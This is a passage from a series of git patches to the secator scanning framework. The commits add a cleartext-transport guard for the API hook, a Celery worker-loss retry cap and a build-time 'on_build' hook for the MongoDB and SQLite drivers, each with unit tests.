From b29f58bbc6c27442b96a9bd018d44928444379a0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 17 Jun 2026 01:13:01 +0200 Subject: [PATCH 001/129] fix(api-hook): refuse cleartext transport to non-loopback hosts The api driver POSTs targets, raw command output and the Bearer API key to addons.api.url. force_ssl (default True) only governed TLS cert verification, so an operator setting force_ssl:false would ship that data over cleartext HTTP to a remote host (MITM / key-leak risk). _make_request now hard-fails any http:// URL whose host is not loopback (localhost / 127.0.0.1 / ::1), regardless of force_ssl. https:// and loopback-http stay working; force_ssl still controls cert verification only. Co-Authored-By: Claude Opus 4.8 --- secator/hooks/api.py | 36 ++++++++++++++++++ tests/unit/test_api_hook_transport.py | 54 +++++++++++++++++++++++++++ 2 files changed, 90 insertions(+) create mode 100644 tests/unit/test_api_hook_transport.py diff --git a/secator/hooks/api.py b/secator/hooks/api.py index 3499c1c89..88fae20e5 100644 --- a/secator/hooks/api.py +++ b/secator/hooks/api.py @@ -16,6 +16,8 @@ import requests from functools import cache +from ipaddress import ip_address +from urllib.parse import urlsplit from secator.config import CONFIG from secator.output_types import FINDING_TYPES, Error, Info @@ -44,9 +46,43 @@ def get_runner_dbg(runner): return {runner.unique_name: runner.status, 'type': runner.config.type, 'class': runner.__class__.__name__, 'caller': runner.config.name, **runner.context} # noqa: E501 +def _is_loopback_host(host): + """Return True if host is localhost or a loopback IP address.""" + if not host: + return False + host = host.strip('[]').lower() + if host == 'localhost': + return True + try: + return ip_address(host).is_loopback + except ValueError: + return False + + +def _check_transport_security(url): + """Refuse cleartext transport to a non-loopback host. + + `force_ssl` only controls TLS certificate *verification*; it must never be a + way to ship targets/output/the Bearer key over plaintext HTTP to a remote + host. Allow http:// only for loopback (localhost / 127.0.0.1 / ::1) dev use. + """ + parts = urlsplit(url) + if parts.scheme == 'https': + return + if parts.scheme == 'http' and _is_loopback_host(parts.hostname): + return + raise Exception( + f'Refusing to send API data over cleartext transport to "{url}": the api driver ' + f'transmits targets, command output and the Bearer API key. Use an https:// API_URL ' + f'(addons.api.url) for remote hosts; plaintext http:// is only allowed for loopback. ' + f'Note: `force_ssl:false` controls TLS cert verification only and does not enable this.' + ) + + def _make_request(method, endpoint, data=None): """Make HTTP request to external API endpoint.""" url = f'{API_URL.rstrip("/")}/{endpoint.lstrip("/")}' + _check_transport_security(url) headers = {'Content-Type': 'application/json'} if API_KEY: headers['Authorization'] = f'{API_HEADER_NAME} {API_KEY}' diff --git a/tests/unit/test_api_hook_transport.py b/tests/unit/test_api_hook_transport.py new file mode 100644 index 000000000..61ac501fa --- /dev/null +++ b/tests/unit/test_api_hook_transport.py @@ -0,0 +1,54 @@ +"""API hook transport-security tests. + +The ``api`` driver POSTs runner/finding data — including raw targets, accumulated +command output and the Bearer API key — to the configured ``addons.api.url``. +``_make_request`` must refuse to do that over cleartext HTTP to a remote host, +regardless of ``force_ssl`` (which only governs TLS certificate *verification*). +Loopback http:// stays allowed for local dev. These tests pin that guard. +""" + +import unittest +from unittest import mock + +from secator.hooks import api as api_hook + + +class TestApiHookTransportGuard(unittest.TestCase): + def _check(self, url): + with mock.patch.object(api_hook, 'API_URL', url): + # Stop before any real network call: the guard runs first, so if it + # allows the request, requests.request is reached and we short-circuit. + with mock.patch.object(api_hook.requests, 'request') as req: + req.side_effect = RuntimeError('reached_network') + api_hook._make_request('GET', 'workspaces') + + def test_remote_http_rejected(self): + with self.assertRaises(Exception) as ctx: + self._check('http://app.secator.cloud/api') + self.assertIn('cleartext', str(ctx.exception).lower()) + + def test_remote_http_rejected_even_with_force_ssl_false(self): + with mock.patch.object(api_hook, 'FORCE_SSL', False): + with self.assertRaises(Exception) as ctx: + self._check('http://10.0.0.5:8081/api') + self.assertIn('cleartext', str(ctx.exception).lower()) + + def test_https_remote_allowed(self): + # Allowed by the guard -> proceeds to the network call (which we stub). + with self.assertRaises(RuntimeError) as ctx: + self._check('https://app.secator.cloud/api') + self.assertEqual(str(ctx.exception), 'reached_network') + + def test_http_localhost_allowed(self): + with self.assertRaises(RuntimeError) as ctx: + self._check('http://localhost:8081/api') + self.assertEqual(str(ctx.exception), 'reached_network') + + def test_http_loopback_ip_allowed(self): + with self.assertRaises(RuntimeError) as ctx: + self._check('http://127.0.0.1:8081/api') + self.assertEqual(str(ctx.exception), 'reached_network') + + +if __name__ == '__main__': + unittest.main() From 0dbd12d2551914e79bed6addebf530925b68240e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Fri, 19 Jun 2026 13:07:11 +0200 Subject: [PATCH 002/129] feat(celery): cap worker-loss redeliveries to abandon repeatedly-killed tasks When a worker is killed mid-task (cgroup OOMKill of the child, or a node memory-pressure eviction), task_acks_late + task_reject_on_worker_lost cause the task to be redelivered with the same Celery id. A task that OOMs on every run would loop forever (OOM -> redeliver -> OOM) and the surrounding chord/workflow could never complete. Add task_max_retries (-1 = disabled). run_command counts redeliveries on the Celery result backend, keyed by the stable Celery id, and once the cap is exceeded abandons the task: it returns a forwarded result list with a FAILURE Error appended instead of re-running, so the chord proceeds and the workflow finishes with a clear 'abandoned after N retries' error (mirroring the inner memory-limit warning). The counter is backend-agnostic: it uses the result backend's generic key/value interface (atomic incr when available e.g. Redis/Memcached, else a get/set read-modify-write that every KV backend implements - filesystem, S3, GCS, ...). It is not tied to Redis or to any Secator data backend (Mongo/Postgres/SQLite). Backends with neither (database/ RPC) degrade safely to 'cap disabled'. Inert by default (task_max_retries=-1 and task_acks_late=False); enabling requires task_acks_late + task_reject_on_worker_lost and raising broker_visibility_timeout above the max task lifetime. Co-Authored-By: Claude Opus 4.8 (1M context) --- secator/celery.py | 87 ++++++++++++++++++++++++++++++++++++++- secator/config.py | 1 + tests/unit/test_celery.py | 54 ++++++++++++++++++++++++ 3 files changed, 141 insertions(+), 1 deletion(-) diff --git a/secator/celery.py b/secator/celery.py index 56e821098..aa7fda4eb 100644 --- a/secator/celery.py +++ b/secator/celery.py @@ -15,7 +15,7 @@ from secator.celery_signals import setup_handlers from secator.definitions import IN_WORKER from secator.config import CONFIG -from secator.output_types import Info, Target as TargetOutput +from secator.output_types import Error, Info, Target as TargetOutput from secator.rich import console from secator.runners import Scan, Task, Workflow from secator.runners._helpers import run_extractors @@ -200,6 +200,81 @@ def start_runner(self, config, targets, results=[], run_opts={}, hooks={}, valid runner.run() +def bump_worker_loss_count(task_id): + """Increment and return the worker-loss delivery count for a Celery task id. + + Stored on the Celery result backend (via its generic key/value interface) so it survives a + worker being killed and works with whatever backend is configured — Redis, filesystem, cache, + S3/GCS, etc. — not just Redis. Returns 1 on the first delivery, 2 on the first redelivery, and + so on. Returns 0 (cap disabled) if the backend supports neither atomic ``incr`` nor + ``get``/``set`` (e.g. the database/RPC backends), so the cap simply no-ops there. + + Args: + task_id (str): Celery request id (stable across worker-loss redeliveries). + + Returns: + int: Number of times this task has been delivered, or 0 if unsupported. + """ + backend = app.backend + key = backend.get_key_for_task(f'worker-loss-{task_id}') + + # Preferred: atomic incr (Redis, Memcached) — race-free. + try: + return backend.incr(key) + except NotImplementedError: + pass # Backend has no atomic counter; fall back to get/set below. + except Exception as e: + debug(f'worker-loss incr failed for {task_id}: {e}', sub='celery.state') + return 0 + + # Fallback: get/set, implemented by every key/value result backend (filesystem, S3, GCS, ...). + # Worker-loss redeliveries of the same task id are sequential (only one attempt runs at a + # time), so a non-atomic read-modify-write is safe here. + try: + raw = backend.get(key) + count = (int(raw) if raw else 0) + 1 + backend.set(key, str(count)) + return count + except Exception as e: + debug(f'worker-loss get/set failed for {task_id}: {e}', sub='celery.state') + return 0 + + +def abandon_task(name, targets, opts, results): + """Abandon a task that has exhausted its worker-loss retries. + + Returns a normal (forwarded) result list with an Error appended, so the surrounding + chord/chain proceeds and the workflow finishes instead of hanging forever on a task whose + worker keeps getting killed (OOM / eviction). + + Args: + name (str): Task name. + targets (list): Task targets. + opts (dict): Task options (already carries context). + results (list): Incoming results from upstream tasks. + + Returns: + list: Forwarded results including a FAILURE Error for this task. + """ + results = forward_results(results) + opts['results'] = results + opts['sync'] = True + task_cls = Task.get_task_class(name) + task = task_cls(targets, **opts) + task.mark_started() + task.add_result(Error( + message=( + f'Task {name} abandoned after {CONFIG.celery.task_max_retries} retries ' + '(worker repeatedly lost — likely OOM kill or node eviction).' + ), + _source=task.unique_name, + )) + task.mark_completed() + if CONFIG.addons.mongodb.enabled: + return chain_results(task.results) + return task.results + + @app.task(bind=True) def run_command(self, results, name, targets, opts={}): # Set Celery request id in context @@ -224,6 +299,16 @@ def run_command(self, results, name, targets, opts={}): context['routing_key'] = routing_key debug(f'Task "{name}" running with routing key "{routing_key}"', sub='celery.state') + # Worker-loss redelivery cap. With task_acks_late + task_reject_on_worker_lost, a task + # whose worker is killed (cgroup OOMKill of the child, or a node-pressure eviction) is + # redelivered with the SAME Celery id. Count redeliveries on the result backend and + # abandon after task_max_retries, so a task that OOMs every run can't loop forever and + # block the surrounding chord/workflow. + if CONFIG.celery.task_max_retries != -1 and CONFIG.celery.task_acks_late: + delivery_count = bump_worker_loss_count(self.request.id) + if delivery_count > CONFIG.celery.task_max_retries: + return abandon_task(name, targets, opts, results) + # Flatten + dedupe + filter results results = forward_results(results) diff --git a/secator/config.py b/secator/config.py index bf274465b..b4f2ee856 100644 --- a/secator/config.py +++ b/secator/config.py @@ -74,6 +74,7 @@ class Celery(StrictModel): task_acks_late: bool = False task_send_sent_event: bool = False task_reject_on_worker_lost: bool = False + task_max_retries: int = -1 # max worker-loss redeliveries before abandoning a task (-1 = unlimited / disabled) task_max_timeout: int = -1 task_memory_limit_mb: int = -1 worker_max_tasks_per_child: int = 20 diff --git a/tests/unit/test_celery.py b/tests/unit/test_celery.py index 2382a0278..fd6573f29 100644 --- a/tests/unit/test_celery.py +++ b/tests/unit/test_celery.py @@ -341,6 +341,60 @@ def test_run_scan_celery_task(self): self.assertIsNotNone(sig) +class TestWorkerLossRetryCap(unittest.TestCase): + """Worker-loss redelivery cap (task_acks_late + task_reject_on_worker_lost).""" + + def test_bump_worker_loss_count_get_set_fallback(self): + """Counter increments via the generic get/set fallback (any KV backend, e.g. filesystem).""" + from secator.celery import app, bump_worker_loss_count + + # Use a unique id so reruns don't collide, and clean up the backend key afterwards. + task_id = f'wl-test-{id(self)}' + key = app.backend.get_key_for_task(f'worker-loss-{task_id}') + try: + self.assertEqual(bump_worker_loss_count(task_id), 1) + self.assertEqual(bump_worker_loss_count(task_id), 2) + self.assertEqual(bump_worker_loss_count(task_id), 3) + # A different task id is counted independently. + self.assertEqual(bump_worker_loss_count(f'{task_id}-other'), 1) + finally: + try: + app.backend.delete(key) + app.backend.delete(app.backend.get_key_for_task(f'worker-loss-{task_id}-other')) + except Exception: + pass + + def test_bump_worker_loss_count_prefers_atomic_incr(self): + """When the backend implements atomic incr (Redis/Memcached), it is used directly.""" + from unittest.mock import patch + from secator.celery import app, bump_worker_loss_count + + with patch.object(app.backend, 'incr', return_value=42, create=True) as mock_incr: + self.assertEqual(bump_worker_loss_count('task-abc'), 42) + mock_incr.assert_called_once() + + def test_bump_worker_loss_count_disabled_without_kv(self): + """Returns 0 (cap disabled) on backends with neither incr nor get/set (db/RPC).""" + from unittest.mock import patch + from secator.celery import app, bump_worker_loss_count + + with patch.object(app.backend, 'incr', side_effect=NotImplementedError, create=True), \ + patch.object(app.backend, 'get', side_effect=NotImplementedError, create=True): + self.assertEqual(bump_worker_loss_count('task-abc'), 0) + + def test_abandon_task_returns_failure_error(self): + """Abandoning returns results with a self-owned FAILURE Error so the chord proceeds.""" + from secator.tasks import httpx + from secator.celery import abandon_task + if httpx not in TEST_TASKS: + return + + results = abandon_task('httpx', ['example.com'], {'context': {}}, []) + errors = [r for r in results if r._type == 'error'] + self.assertEqual(len(errors), 1) + self.assertIn('abandoned after', errors[0].message) + + class TestRunnerPickle(unittest.TestCase): """Test that Runner objects with dynamic driver hooks can be pickled/unpickled.""" From 6635116fe3073b5e2d7751ce19ef18fbf66f80b3 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:33:24 +0200 Subject: [PATCH 003/129] feat(hooks): register on_build as a valid runner hook type --- secator/runners/_base.py | 1 + tests/unit/test_on_build.py | 7 +++++++ 2 files changed, 8 insertions(+) create mode 100644 tests/unit/test_on_build.py diff --git a/secator/runners/_base.py b/secator/runners/_base.py index 38454a0df..682d3a86c 100644 --- a/secator/runners/_base.py +++ b/secator/runners/_base.py @@ -28,6 +28,7 @@ HOOKS = [ 'before_init', + 'on_build', 'on_init', 'on_start', 'on_end', diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py new file mode 100644 index 000000000..58cebe0c3 --- /dev/null +++ b/tests/unit/test_on_build.py @@ -0,0 +1,7 @@ +import unittest + + +class TestOnBuildHookRegistration(unittest.TestCase): + def test_on_build_is_a_valid_hook_name(self): + from secator.runners._base import HOOKS + assert 'on_build' in HOOKS From 9eeaefda6191cc4bff592914381da37e49eb5840 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:35:38 +0200 Subject: [PATCH 004/129] feat(hooks): mongodb on_build mints child runner doc + id at build time --- secator/hooks/mongodb.py | 45 ++++++++++++++++++++++- tests/unit/test_on_build.py | 73 +++++++++++++++++++++++++++++++++++++ 2 files changed, 117 insertions(+), 1 deletion(-) diff --git a/secator/hooks/mongodb.py b/secator/hooks/mongodb.py index 8050e853b..852c3766c 100644 --- a/secator/hooks/mongodb.py +++ b/secator/hooks/mongodb.py @@ -109,6 +109,46 @@ def update_runner(self): debug(msg, sub='hooks.mongodb', id=_id) +def build_pending_doc(parent, task_spec, child_type): + """Minimal PENDING placeholder doc for a not-yet-run child runner. + + The runtime update_runner does {'$set': self.toDict()} and fully overwrites + this once the child executes, so only the fields the UI tree / watchdog need + before that have to be correct here. + """ + return { + 'name': task_spec.get('name'), + 'status': 'PENDING', + 'done': False, + 'config': {'type': child_type, 'name': task_spec.get('name')}, + 'context': dict(task_spec.get('context', {})), + 'has_parent': True, + 'chunk': task_spec.get('chunk'), + 'chunk_count': task_spec.get('chunk_count'), + } + + +def on_build(self, task_spec): + """Build-time hook: mint the child runner's Mongo doc + id before dispatch. + + Fired by the PARENT runner (self) while assembling the Celery canvas, once + per child task/workflow/chunk. Inserts a PENDING placeholder and writes its + id into the child signature's serialized context so a redelivered task + reuses the same doc (update_one) instead of inserting a new one. + """ + client = get_mongodb_client() + db = client.main + parent_type = self.config.type # 'scan' | 'workflow' | 'task' + child_type = 'workflow' if parent_type == 'scan' else 'task' + collection = f'{child_type}s' + is_chunk = bool(task_spec.get('chunk')) + doc = build_pending_doc(self, task_spec, child_type) + _id = str(db[collection].insert_one(doc).inserted_id) + key = f'{child_type}_chunk_id' if is_chunk else f'{child_type}_id' + task_spec.setdefault('context', {})[key] = _id + return task_spec + + def update_finding(self, item): if type(item) not in OUTPUT_TYPES: return item @@ -234,6 +274,7 @@ def tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], HOOKS = { Scan: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_interval': [update_runner], @@ -241,6 +282,7 @@ def tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], 'on_end': [update_runner], }, Workflow: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_interval': [update_runner], @@ -248,11 +290,12 @@ def tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], 'on_end': [update_runner], }, Task: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_item': [update_finding], 'on_duplicate': [update_finding], 'on_interval': [update_runner], - 'on_end': [update_runner] + 'on_end': [update_runner], } } diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 58cebe0c3..e7c07b388 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -1,3 +1,4 @@ +import types import unittest @@ -5,3 +6,75 @@ class TestOnBuildHookRegistration(unittest.TestCase): def test_on_build_is_a_valid_hook_name(self): from secator.runners._base import HOOKS assert 'on_build' in HOOKS + + +class _FakeInsertResult: + def __init__(self, _id): + self.inserted_id = _id + + +class _FakeCollection: + def __init__(self, name, sink): + self.name = name + self.sink = sink + + def insert_one(self, doc): + _id = f'oid-{self.name}-{len(self.sink)}' + self.sink.append((self.name, doc)) + return _FakeInsertResult(_id) + + +class _FakeDB: + def __init__(self, sink): + self.sink = sink + + def __getitem__(self, name): + return _FakeCollection(name, self.sink) + + +class _FakeClient: + def __init__(self, sink): + self.main = _FakeDB(sink) + + +def _patch_mongo(monkeypatch): + sink = [] + import secator.hooks.mongodb as m + monkeypatch.setattr(m, 'get_mongodb_client', lambda: _FakeClient(sink)) + return sink + + +class _FakeParent: + """Minimal stand-in for a parent runner: on_build only reads .config.type.""" + def __init__(self, parent_type): + self.config = types.SimpleNamespace(type=parent_type) + + +class TestOnBuildMongo: + def test_workflow_parent_inserts_task_doc_and_stamps_task_id(self, monkeypatch): + from secator.hooks.mongodb import on_build + sink = _patch_mongo(monkeypatch) + spec = {'name': 'httpx', 'context': {'workspace_id': 'ws1'}} + on_build(_FakeParent('workflow'), spec) + assert sink[0][0] == 'tasks' # inserted into tasks collection + assert sink[0][1]['status'] == 'PENDING' + assert spec['context']['task_id'] == 'oid-tasks-0' # stamped back into spec context + + def test_scan_parent_inserts_workflow_doc_and_stamps_workflow_id(self, monkeypatch): + from secator.hooks.mongodb import on_build + sink = _patch_mongo(monkeypatch) + spec = {'name': 'url_fuzz', 'context': {'workspace_id': 'ws1'}} + on_build(_FakeParent('scan'), spec) + assert sink[0][0] == 'workflows' + assert spec['context']['workflow_id'] == 'oid-workflows-0' + + def test_chunk_spec_stamps_task_chunk_id_and_chunk_flags(self, monkeypatch): + from secator.hooks.mongodb import on_build + sink = _patch_mongo(monkeypatch) + spec = {'name': 'ffuf', 'chunk': 2, 'chunk_count': 5, 'context': {'workspace_id': 'ws1'}} + on_build(_FakeParent('task'), spec) + assert sink[0][0] == 'tasks' + doc = sink[0][1] + assert doc['has_parent'] is True + assert doc['chunk'] == 2 and doc['chunk_count'] == 5 + assert spec['context']['task_chunk_id'] == 'oid-tasks-0' From e2a0a031add51d7d97c1265207d86bb11e5a1e10 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:41:32 +0200 Subject: [PATCH 005/129] feat(workflow): fire on_build per task during canvas build Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/runners/workflow.py | 5 +++++ tests/unit/test_on_build.py | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 37 insertions(+) diff --git a/secator/runners/workflow.py b/secator/runners/workflow.py index 077f1d782..c372abf15 100644 --- a/secator/runners/workflow.py +++ b/secator/runners/workflow.py @@ -106,6 +106,11 @@ def process_task(node, force=False, parent_ix=None): task_opts['aliases'] = [node.id, node.name] if task.__name__ != node.name: task_opts['aliases'].append(task.__name__) + # Mint the child task's runner doc + id at build time so a + # redelivered task reuses the same doc (see L2 / on_build). + self.enable_hooks = True + self.run_hooks('on_build', task_opts, sub='build') + self.enable_hooks = False profile = resolve_task_queue(task, task_opts) sig = task.s(self.inputs, **task_opts).set(queue=profile) task_id = sig.freeze().task_id diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index e7c07b388..817f046e0 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -1,5 +1,6 @@ import types import unittest +from secator.hooks.mongodb import HOOKS as MONGO_HOOKS class TestOnBuildHookRegistration(unittest.TestCase): @@ -23,6 +24,9 @@ def insert_one(self, doc): self.sink.append((self.name, doc)) return _FakeInsertResult(_id) + def update_one(self, query, update): + pass + class _FakeDB: def __init__(self, sink): @@ -78,3 +82,31 @@ def test_chunk_spec_stamps_task_chunk_id_and_chunk_flags(self, monkeypatch): assert doc['has_parent'] is True assert doc['chunk'] == 2 and doc['chunk_count'] == 5 assert spec['context']['task_chunk_id'] == 'oid-tasks-0' + + +class TestOnBuildWorkflowWiring(unittest.TestCase): + def test_task_signatures_carry_task_id_from_on_build(self): + from secator.runners.workflow import Workflow + from secator.template import TemplateLoader + sink = [] + + import secator.hooks.mongodb as m + orig = m.get_mongodb_client + m.get_mongodb_client = lambda: _FakeClient(sink) + try: + config = TemplateLoader(name='workflow/host_recon') + wf = Workflow( + config, + inputs=['example.com'], + hooks=MONGO_HOOKS, + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, + ) + wf.build_celery_workflow() + finally: + m.get_mongodb_client = orig + + # At least one task doc was inserted at build time... + assert any(coll == 'tasks' for coll, _ in sink), \ + f'Expected tasks inserts but got: {[coll for coll, _ in sink]}' + # ...and every tasks insert has status PENDING. + assert all(doc['status'] == 'PENDING' for coll, doc in sink if coll == 'tasks') From d99b2ec5e9664fad226b66829fa6655617cde5ca Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:44:24 +0200 Subject: [PATCH 006/129] fix(workflow): restore prior enable_hooks after on_build toggle --- secator/runners/workflow.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/secator/runners/workflow.py b/secator/runners/workflow.py index c372abf15..9049a6e13 100644 --- a/secator/runners/workflow.py +++ b/secator/runners/workflow.py @@ -108,9 +108,10 @@ def process_task(node, force=False, parent_ix=None): task_opts['aliases'].append(task.__name__) # Mint the child task's runner doc + id at build time so a # redelivered task reuses the same doc (see L2 / on_build). + prev_enable_hooks = self.enable_hooks self.enable_hooks = True self.run_hooks('on_build', task_opts, sub='build') - self.enable_hooks = False + self.enable_hooks = prev_enable_hooks profile = resolve_task_queue(task, task_opts) sig = task.s(self.inputs, **task_opts).set(queue=profile) task_id = sig.freeze().task_id From 11f19bb66f154cb74303f3d874de4badc84f557e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:51:56 +0200 Subject: [PATCH 007/129] feat(celery): fire on_build per chunk in break_task --- secator/celery.py | 6 +++++ tests/unit/test_on_build.py | 46 +++++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) diff --git a/secator/celery.py b/secator/celery.py index 56e821098..eaf1a5ebd 100644 --- a/secator/celery.py +++ b/secator/celery.py @@ -544,6 +544,12 @@ def break_task(task, task_opts, results=[]): opts['results'] = results if 'targets_' in opts: del opts['targets_'] + # Mint each chunk's runner doc + id at build time so a redelivered + # chunk reuses the same doc (see L2 / on_build). + prev_enable_hooks = task.enable_hooks + task.enable_hooks = True + task.run_hooks('on_build', opts, sub='build') + task.enable_hooks = prev_enable_hooks sig = type(task).si(chunk, **opts) task_id = sig.freeze().task_id full_name = f'{task.name}_{ix + 1}' diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 817f046e0..8f9124fed 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -110,3 +110,49 @@ def test_task_signatures_carry_task_id_from_on_build(self): f'Expected tasks inserts but got: {[coll for coll, _ in sink]}' # ...and every tasks insert has status PENDING. assert all(doc['status'] == 'PENDING' for coll, doc in sink if coll == 'tasks') + + +class TestOnBuildChunkWiring(unittest.TestCase): + def test_each_chunk_signature_carries_a_distinct_task_chunk_id(self): + from secator.celery import break_task + from secator.tasks import httpx + from secator.runners.task import Task + from secator.utils_test import mock_command, FIXTURES_TASKS + + targets = ['https://a.com', 'https://b.com', 'https://c.com'] + + # Use flattened task hooks (same as Workflow does via self._hooks.get(Task, {})) + # MONGO_HOOKS is keyed by runner class (Scan/Workflow/Task); register_hooks + # looks up hooks.get(self.__class__) which won't match Task for an httpx + # subclass, so we flatten to the Task-level hook dict. + task_hooks = MONGO_HOOKS.get(Task, {}) + + # Subclass with input_chunk_size=1 so each target becomes its own chunk. + class ChunkedHttpx(httpx): + input_chunk_size = 1 + + sink = [] + import secator.hooks.mongodb as m + orig = m.get_mongodb_client + m.get_mongodb_client = lambda: _FakeClient(sink) + try: + with mock_command(ChunkedHttpx, fixture=[FIXTURES_TASKS[httpx]] * len(targets)): + task = ChunkedHttpx(targets, sync=False, hooks=task_hooks, + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}) + task.has_children = True + workflow = break_task(task, {'name': 'httpx', 'sync': False}, results=[]) + finally: + m.get_mongodb_client = orig + + # Read chunk ids from the chunk signatures (more robust than reading the sink) + chunk_ids = [ + sig.kwargs.get('opts', {}).get('context', {}).get('task_chunk_id') + for sig in workflow.tasks + ] + # one id per chunk, all present, all distinct + assert len(chunk_ids) == len(targets), \ + f'Expected {len(targets)} chunk signatures, got {len(chunk_ids)}' + assert all(chunk_ids), \ + f'Some chunk signatures are missing task_chunk_id: {chunk_ids}' + assert len(set(chunk_ids)) == len(chunk_ids), \ + f'Chunk ids are not all distinct: {chunk_ids}' From 8d3be837078b7ff0f47c7aaf2d7710c615484d1e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:55:28 +0200 Subject: [PATCH 008/129] test(hooks): assert pre-built id makes update_runner reuse the doc --- tests/unit/test_on_build.py | 56 +++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 8f9124fed..37ed0a445 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -112,6 +112,62 @@ def test_task_signatures_carry_task_id_from_on_build(self): assert all(doc['status'] == 'PENDING' for coll, doc in sink if coll == 'tasks') +class _RecordingCollection: + def __init__(self, name, calls): + self.name = name + self.calls = calls + + def insert_one(self, doc): + self.calls.append(('insert', self.name)) + return _FakeInsertResult(f'{"a" * 24}') + + def update_one(self, flt, update): + self.calls.append(('update', self.name, flt)) + + +class _RecordingDB: + def __init__(self, calls): + self.calls = calls + + def __getitem__(self, name): + return _RecordingCollection(name, self.calls) + + +class _RecordingClient: + def __init__(self, calls): + self.main = _RecordingDB(calls) + + +class TestUpdateRunnerReusesPrebuiltDoc: + def test_prebuilt_id_takes_update_one_branch(self, monkeypatch): + import secator.hooks.mongodb as m + calls = [] + monkeypatch.setattr(m, 'get_mongodb_client', lambda: _RecordingClient(calls)) + + # A valid 24-hex-char ObjectId string (as on_build stamps into context). + valid_oid = 'a' * 24 + + # Stand-in runner whose context already has a task_id (as if on_build ran). + # Needs unique_name, status, config.name for get_runner_dbg(); last_updated_db + # is set by update_runner after a successful update_one. + runner = types.SimpleNamespace( + config=types.SimpleNamespace(type='task', name='httpx'), + context={'task_id': valid_oid}, + unique_name='httpx-1', + status='RUNNING', + last_updated_db=None, + toDict=lambda: {'status': 'RUNNING', 'chunk': None, + 'context': {'task_id': valid_oid}}, + ) + m.update_runner(runner) + + # Load-bearing assertions: an update happened on tasks, no insert happened. + assert any(c[0] == 'update' and c[1] == 'tasks' for c in calls), \ + f'Expected an update_one on tasks but got: {calls}' + assert not any(c[0] == 'insert' for c in calls), \ + f'Expected no insert_one but got: {calls}' + + class TestOnBuildChunkWiring(unittest.TestCase): def test_each_chunk_signature_carries_a_distinct_task_chunk_id(self): from secator.celery import break_task From 1e2e2497e24dfb5bd847c0a4470267d94cd0c0b1 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 20:58:10 +0200 Subject: [PATCH 009/129] feat(hooks): mirror on_build in the sqlite driver --- secator/hooks/sqlite.py | 41 +++++++++++++++++++++ tests/unit/test_on_build.py | 73 +++++++++++++++++++++++++++++++++++++ 2 files changed, 114 insertions(+) diff --git a/secator/hooks/sqlite.py b/secator/hooks/sqlite.py index 881efe4ac..0da52cff7 100644 --- a/secator/hooks/sqlite.py +++ b/secator/hooks/sqlite.py @@ -168,6 +168,44 @@ def update_finding(self, item): return item +def build_pending_doc(parent, task_spec, child_type): + """Minimal PENDING placeholder doc for a not-yet-run child runner.""" + return { + 'name': task_spec.get('name'), + 'status': 'PENDING', + 'done': False, + 'config': {'type': child_type, 'name': task_spec.get('name')}, + 'context': dict(task_spec.get('context', {})), + 'has_parent': True, + 'chunk': task_spec.get('chunk'), + 'chunk_count': task_spec.get('chunk_count'), + } + + +def on_build(self, task_spec): + """Build-time hook: mint the child runner's sqlite row + id before dispatch. + + Fired by the PARENT runner (self) while assembling the Celery canvas, once + per child task/workflow/chunk. Inserts a PENDING placeholder and writes its + id into the child signature's serialized context so a redelivered task + reuses the same row (UPDATE) instead of inserting a new one. + """ + conn = get_sqlite_conn() + parent_type = self.config.type # 'scan' | 'workflow' | 'task' + child_type = 'workflow' if parent_type == 'scan' else 'task' + table = f'{child_type}s' + is_chunk = bool(task_spec.get('chunk')) + doc = build_pending_doc(self, task_spec, child_type) + _id = str(uuid.uuid4()) + workspace_id = task_spec.get('context', {}).get('workspace_id') + payload = json.dumps(doc, default=str) + conn.execute(f"INSERT INTO {table} (id, workspace_id, data) VALUES (?, ?, ?)", (_id, workspace_id, payload)) + conn.commit() + key = f'{child_type}_chunk_id' if is_chunk else f'{child_type}_id' + task_spec.setdefault('context', {})[key] = _id + return task_spec + + def find_duplicates(self): from secator.definitions import IN_WORKER ws_id = self.toDict().get('context', {}).get('workspace_id') @@ -222,6 +260,7 @@ def tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], HOOKS = { Scan: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_interval': [update_runner], @@ -229,6 +268,7 @@ def tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], 'on_end': [update_runner], }, Workflow: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_interval': [update_runner], @@ -236,6 +276,7 @@ def 